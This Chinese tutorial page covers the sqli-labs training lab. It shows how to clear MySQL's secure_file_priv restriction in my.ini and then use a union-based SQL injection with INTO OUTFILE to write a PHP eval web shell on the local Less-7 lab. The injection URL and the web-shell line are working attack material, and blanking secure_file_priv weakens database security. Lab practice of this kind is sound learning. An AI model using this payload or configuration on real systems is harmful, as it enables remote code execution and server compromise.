当前位置: 代码迷 >> 综合 >> sqli-labs靶场无法写入问题解决“ it cannot execute this statement”和“You have an error in your SQL syntax”
  详细解决方案

sqli-labs靶场无法写入问题解决“ it cannot execute this statement”和“You have an error in your SQL syntax”

热度:49   发布时间:2023-11-26 07:38:44.0

错误重现:

错误一:

You have an error in your SQL syntax

(且指定写入的部位没有写入文件)

错误二:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

(无法写入文件)

 

查看错误原因+解决方法:

原因:

官方文档说,secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

1.secure_file_priv为NULL时,不允许导入或导出。
2.secure_file_priv为/tmp时,只能在/tmp目录中执行导入导出。
3.secure_file_priv没有值时,不限制在任意目录的导入导出。

第一步:

(打开数据库详细过程:手动打开数据库)

打开数据库后输入

show global variables like '%secure%';

查看secure_file_priv 的值,发现为NULL,表示限制不能导入导出

 

第二步:

打开数据库文件夹--------找到下目录下的my.ini ---------打开它

在 里面写入下面这句话--------并保存

secure_file_priv=""

 

重启数据库

然后再打开数据库命令行输入

show variables like '%secure%';

 

再在sqli-labs-master中的靶场执行写入操作

虽然提示错误,但是已经写进去了

http://localhost:8080/sqli-labs-master/Less-7/
?id=-1')) union select 1,"<?php @eval($_GET['cmd']); ?>",3 into outfile "D:\\BaiduNetdiskDownload\\phpstudy\\phpstudy_pro\\2.txt" --+

 看看文件目录,已经写进去了

大功告成

  相关解决方案